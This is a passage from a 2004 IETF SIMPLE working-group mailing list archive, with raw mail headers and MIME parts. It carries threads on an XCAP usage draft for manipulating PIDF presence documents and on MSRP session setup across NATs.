advanced=20
presence-capable device. Could you explain what kind of complexities you =
mean?=20
This is as simple an XCAP usage as&nbsp;there can be. Are you saying =
that XCAP=20
in itself is complex? A more simple way would be to use just normal HTTP =
PUT and=20
DELETE, but since we have XCAP at our disposal, why not use=20
it.</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Markus</FONT></SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti =
(QA/EMC)=20
  [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
  02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
  simple@ietf.org<BR><B>Subject:</B> Comments on=20
  draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
  <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
  <P><FONT face=3D"Times New Roman">I have some comments on your =
draft:</FONT>=20
</P>
  <P><FONT face=3D"Times New Roman">1) Although you indicate that this =
should be=20
  used only for hard states, what is there to prevent users from =
manipulating=20
  other presence states in there through XCAP.</FONT></P>
  <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used for =
documents that=20
  are created to take advantage of the defined XCAP rules for HTTP URI =
creation.=20
  Which XML presence documents in particular are you proposing that they =
get=20
  manipulated by XCAP.&nbsp; </FONT></P>
  <P><FONT face=3D"Times New Roman">How do you ensure that the current =
XCAP rules=20
  are suffiicient for the purpose you have in mind. I also doubt that =
you can=20
  use the current XML presence documents (PIDF and extensions) for XCAP =
purposes=20
  as is. For example, should there not be the element mandatory-ns, in =
there, as=20
  per the XCAP framework.</FONT></P>
  <P><FONT face=3D"Times New Roman">3) Is this template meant to be a =
generic=20
  template to be used by all applications that want to use XCAP.</FONT> =
</P>
  <P><FONT face=3D"Times New Roman">4) Finally, I believe that there are =
other,=20
  out-of-band means, to accomplish your goals, i.e. manipulate hard =
states,=20
  without the unwarranted complexities that the draft creates. Thus, =
there must=20
  be explicit references in the draft to that fact.&nbsp; </FONT></P>
  <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT face=3DArial =
size=3D2>Ericsson=20
  Canada</FONT> </P><BR><BR>This communication is confidential and =
intended=20
  solely for the addressee(s). Any unauthorized review, use, disclosure =
or=20
  distribution is prohibited. If you believe this message has been sent =
to you=20
  in error, please notify the sender by replying to this transmission =
and delete=20
  the message without disclosing it. Thank you.<BR><BR>E-mail including=20
  attachments is susceptible to data corruption, interruption, =
unauthorized=20
  amendment, tampering and viruses, and we only send and receive e-mails =
on the=20
  basis that we are not liable for any such corruption, interception, =
amendment,=20
  tampering or viruses or any consequences thereof. =
</BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C400BE.247CC93B--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Tue Mar  2 20:33:11 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18128
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:33:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLG3-0007XO-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:33:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLES-000775-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:31:33 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLD3-0006sd-00; Tue, 02 Mar 2004 20:30:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyL1R-0007TG-Fc; Tue, 02 Mar 2004 20:18:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL1N-0005OW-CI; Tue, 02 Mar 2004 20:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL0n-0005KD-MY
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:17:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17450
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:17:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyL0l-0005FD-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:17:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKzE-0004qQ-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:15:49 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxr-0004Jf-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:14:24 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i231Dl0p009277;
	Tue, 2 Mar 2004 19:13:47 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQRHH>; Tue, 2 Mar 2004 19:13:46 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A357@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Cullen Jennings'" <fluffy@cisco.com>,
        Adam Roach
	 <adam@dynamicsoft.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>
Cc: simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 19:13:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Okay, so, the user experience you're promoting
here would lead to a situation in which you open
up your IM client, type in a message for me,
and my desktop hard phone starts ringing. Several
seconds later, I pick up the receiver, my hardphone
sends a "200 OK" response, and... well, nothing
good can come of any result at this point.

If your client supports audio, my voice is suddenly
coming out of your PC speakers. If not, the call
is torn down, your client renders an error to you,
sends me a bye, and I'm sitting there holding a dead
handset.

This is the problem that I've pointed out occasionally
for several years: this "send an INVITE with no body"
approach for setting up sessions causes all kinds
of problems. It was originally added for interwork
with the prehistoric H.323v1 procedures, and not killed
because we observed that it can be used in this clever
3pcc hack -- but it invariably leads to a message that
semantically means the same thing as the dialog
box that I sent earlier.

/a

> -----Original Message-----
> From: Cullen Jennings [mailto:fluffy@cisco.com]
> Sent: Monday, March 01, 2004 8:38
> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> Cc: simple@ietf.org
> Subject: Re: [Simple] RE: MSRP & Comedia
> 
> 
> 
> It just sends an offer with all three and then the other ends 
> selects. This
> is how SIP is today - you can send an invite with no offer 
> then get the
> offer in the response and put the answer in the ack.
> 
> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> 
> > From a protocol perspective, this sounds reasonable.
> > 
> > I think the key problem is that the first example shifts the
> > decision of what type of communication is requested
> > from the caller to the callee. Without getting into a discussion
> > of whether that is the "right" thing to do, it certainly is
> > going to differ from user expectations.
> > 
> > +----------------------------------------------+
> > | Cullen Jennings <sip:fluffy@cisco.com> wants |
> > | to start a conversation, but I have no idea  |
> > | what kind. Take your best guess:             |
> > |                                              |
> > |    +-------+  +-----------------+  +----+    |
> > |    | Voice |  | Voice and video |  | IM |    |
> > |    +-------+  +-----------------+  +----+    |
> > +----------------------------------------------+
> > 
> > /a
> > 
> >> -----Original Message-----
> >> From: Cullen Jennings [mailto:fluffy@cisco.com]
> >> Sent: Friday, February 27, 2004 0:50
> >> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> >> Cc: simple@ietf.org
> >> Subject: MSRP & Comedia
> >> 
> >> 
> >> 
> >> This is a half baked idea that I am just tossing out as food
> >> for thought
> >> 
> >> Consider a systems where something like the UA that sends the
> >> answer sends
> >> the VISIT. 
> >> 
> >> Consider the cases where A want to set up a MSRP session with B.
> >> 
> >> A is behind a NAT and does not want to use a relay. A sends
> >> an INVITE with
> >> no offer. B sends an offer, gets back an answer and A 
> sends the VISIT.
> >> A -> inv    -> B
> >> A <- offer  <- B
> >> A -> answer -> B
> >> A -> visit  -> B
> >> 
> >> B is behind a NAT. A sends an offer and B sends an answer and
> >> A sends VISIT.
> >> A -> offer  -> B
> >> A <- answer <- B
> >> A <- visit  <- B
> >> 
> >> A and B are behind NATS. A sends INVITE no offer, B knows
> >> relay is needed
> >> and gets one and sends offer.
> >> 
> >> The underlying principal is basically if you don't know what
> >> port you are
> >> going to receive media at (which is the case with a NAT) you
> >> should not be
> >> making any offers and if you make an offer the assumption is
> >> that the other
> >> side and send media (a VISIT) to that and have it work.
> >> 
> >> The fundamental thing I am trying to avoid is two vendors
> >> both saying they
> >> have MSRP compliant systems yet still having them fail to be
> >> able to talk to
> >> each other because they both expect the other one to host.
> >> 
> > 
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> > 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 20:33:21 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18203
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:33:21 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLFj-0001Gq-7k
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:32:53 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231Wp6n004883
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:32:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLFi-0001Gg-S0
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:32:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18053
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:32:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLFg-0007Pa-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:32:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLE9-000747-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:31:15 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLCz-0006sd-00; Tue, 02 Mar 2004 20:30:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyL8H-0007Zk-VI; Tue, 02 Mar 2004 20:25:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL8A-0006Bj-W5; Tue, 02 Mar 2004 20:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL84-00069m-3r
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:24:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17797
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:24:53 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyL81-0006EQ-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:24:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyL73-000682-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:23:54 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyL6m-00061w-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:23:36 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231NaS16208;
	Wed, 3 Mar 2004 03:23:36 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:23:34 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i231NYoC011304;
	Wed, 3 Mar 2004 03:23:34 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00yyNdfn; Wed, 03 Mar 2004 03:23:33 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231NX716248;
	Wed, 3 Mar 2004 03:23:33 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:23:31 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400BE.247CC93B"
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A36F@esebe018.ntc.nokia.com>
Thread-Topic: Comments on draft-isomaki-simple-xcap-publish-usage-00
Thread-Index: AcQAuUzVZkCMOxxhRMaNytt24+iVlQAABi2A
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 01:23:31.0942 (UTC) FILETIME=[23E82860:01C400BE]
Subject: [Simple] RE: Comments on draft-isomaki-simple-xcap-publish-usage-00
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 03:23:32 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_20_30,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400BE.247CC93B
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi George,
=20
First of all, the document you are referring to has been updated with =
this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt
=20
I'll submit the WG version shortly after the meeting. The changes =
compared to the version you read are mainly clarifications, so I think =
your comments would apply to the new draft as well. My anwers to each =
point below:
=20
1) XCAP operations are hard state by nature, no refreshing is needed, so =
this is inherently hard state manipulation.=20
2) The default model I have in mind is that each presentity would have =
exactly one persistent device-independent presence document that would =
be manipulated by XCAP. That would be fed to the composition logic to =
complement the PUA/device-specific documents published using SIP PUBLISH =
mechanism.
XCAP is meant to be a generic XML-manipulation mechanism, so there =
should be nothing specific in this application usage. Once the base XCAP =
is finished, we'll see what the exact mechanisms to mandate supported =
namespaces are, and we'll adopt that convention in this draft too. This =
is probably still changing from xcap-02 draft, as was discussed in =
SIMPLE session.=20
3) I'm not sure if I understood the question. This is not a template for =
any applications that want to use XCAP, this is standardizing how XCAP =
is used to manipulate PIDF-formatted presence documents. As there is no =
computed data or anything, I guess an app usage for any XML doc would be =
quite similar to this one.
4) Surely there are many ways to manipulate PIDF documents. However, in =
context of SIMPLE, XCAP is a natural choice since it's needed already in =
any advanced presence-capable device. Could you explain what kind of =
complexities you mean? This is as simple an XCAP usage as there can be. =
Are you saying that XCAP in itself is complex? A more simple way would =
be to use just normal HTTP PUT and DELETE, but since we have XCAP at our =
disposal, why not use it.
=20
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20

I have some comments on your draft:=20

1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

3) Is this template meant to be a generic template to be used by all =
applications that want to use XCAP.=20

4) Finally, I believe that there are other, out-of-band means, to =
accomplish your goals, i.e. manipulate hard states, without the =
unwarranted complexities that the draft creates. Thus, there must be =
explicit references in the draft to that fact. =20

/gf=20
Ericsson Canada=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20


------_=_NextPart_001_01C400BE.247CC93B
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>Hi=20
George,</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>First=20
of all, the document you are referring to has been updated with this=20
one:</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2><A=20
href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>I'll=20
submit the WG version shortly after the meeting. The changes compared to =
the=20
version you&nbsp;read&nbsp;are mainly clarifications, so I think your =
comments=20
would apply to the new draft as well. My anwers to each point=20
below:</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>1)=20
XCAP operations are hard state by nature, no refreshing is needed, so =
this is=20
inherently hard state manipulation. </FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>2) The=20
default model I have in mind is that each presentity would have exactly =
one=20
persistent device-independent presence document that would be =
manipulated by=20
XCAP. That would be fed to the composition logic to complement the=20
PUA/device-specific documents published using SIP PUBLISH=20
mechanism.</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>XCAP=20
is meant to be a generic XML-manipulation mechanism, so there should be =
nothing=20
specific in this application usage. Once the base XCAP is finished, =
we'll see=20
what the exact mechanisms to mandate supported namespaces are, and we'll =
adopt=20
that convention in this draft too. This is probably still changing from =
xcap-02=20
draft, as was discussed in SIMPLE session. </FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>3) I'm=20
not sure if I&nbsp;understood the question. This is not a template for =
any=20
applications that want to use XCAP, this is standardizing how XCAP is =
used to=20
manipulate PIDF-formatted presence documents. As there is no computed =
data or=20
anything, I guess an app usage for any XML doc would be quite similar to =
this=20
one.</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>4)=20
Surely there are many ways to manipulate PIDF documents. However, in =
context of=20
SIMPLE, XCAP is a natural choice since it's needed already in any =
advanced=20
presence-capable device. Could you explain what kind of complexities you =
mean?=20
This is as simple an XCAP usage as&nbsp;there can be. Are you saying =
that XCAP=20
in itself is complex? A more simple way would be to use just normal HTTP =
PUT and=20
DELETE, but since we have XCAP at our disposal, why not use=20
it.</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Markus</FONT></SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti =
(QA/EMC)=20
  [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
  02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
  simple@ietf.org<BR><B>Subject:</B> Comments on=20
  draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
  <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
  <P><FONT face=3D"Times New Roman">I have some comments on your =
draft:</FONT>=20
</P>
  <P><FONT face=3D"Times New Roman">1) Although you indicate that this =
should be=20
  used only for hard states, what is there to prevent users from =
manipulating=20
  other presence states in there through XCAP.</FONT></P>
  <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used for =
documents that=20
  are created to take advantage of the defined XCAP rules for HTTP URI =
creation.=20
  Which XML presence documents in particular are you proposing that they =
get=20
  manipulated by XCAP.&nbsp; </FONT></P>
  <P><FONT face=3D"Times New Roman">How do you ensure that the current =
XCAP rules=20
  are suffiicient for the purpose you have in mind. I also doubt that =
you can=20
  use the current XML presence documents (PIDF and extensions) for XCAP =
purposes=20
  as is. For example, should there not be the element mandatory-ns, in =
there, as=20
  per the XCAP framework.</FONT></P>
  <P><FONT face=3D"Times New Roman">3) Is this template meant to be a =
generic=20
  template to be used by all applications that want to use XCAP.</FONT> =
</P>
  <P><FONT face=3D"Times New Roman">4) Finally, I believe that there are =
other,=20
  out-of-band means, to accomplish your goals, i.e. manipulate hard =
states,=20
  without the unwarranted complexities that the draft creates. Thus, =
there must=20
  be explicit references in the draft to that fact.&nbsp; </FONT></P>
  <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT face=3DArial =
size=3D2>Ericsson=20
  Canada</FONT> </P><BR><BR>This communication is confidential and =
intended=20
  solely for the addressee(s). Any unauthorized review, use, disclosure =
or=20
  distribution is prohibited. If you believe this message has been sent =
to you=20
  in error, please notify the sender by replying to this transmission =
and delete=20
  the message without disclosing it. Thank you.<BR><BR>E-mail including=20
  attachments is susceptible to data corruption, interruption, =
unauthorized=20
  amendment, tampering and viruses, and we only send and receive e-mails =
on the=20
  basis that we are not liable for any such corruption, interception, =
amendment,=20
  tampering or viruses or any consequences thereof. =
</BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C400BE.247CC93B--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 20:33:39 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18308
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:33:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLGV-0007bv-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:33:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLF0-0007FD-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:32:07 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLDE-0006sd-05; Tue, 02 Mar 2004 20:30:16 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyKyY-0007O9-29; Tue, 02 Mar 2004 20:15:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKyX-00056I-2W; Tue, 02 Mar 2004 20:15:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxr-0004xA-Qm
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:14:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16945
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:14:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxp-0004Tk-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:14:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKva-0003t6-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:12:03 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKtm-0003Xe-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:10:10 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231AAZ26227
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:10:10 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:09:58 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2319wIe028656
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:09:58 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00P11Yrc; Wed, 03 Mar 2004 03:09:29 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2319S709109
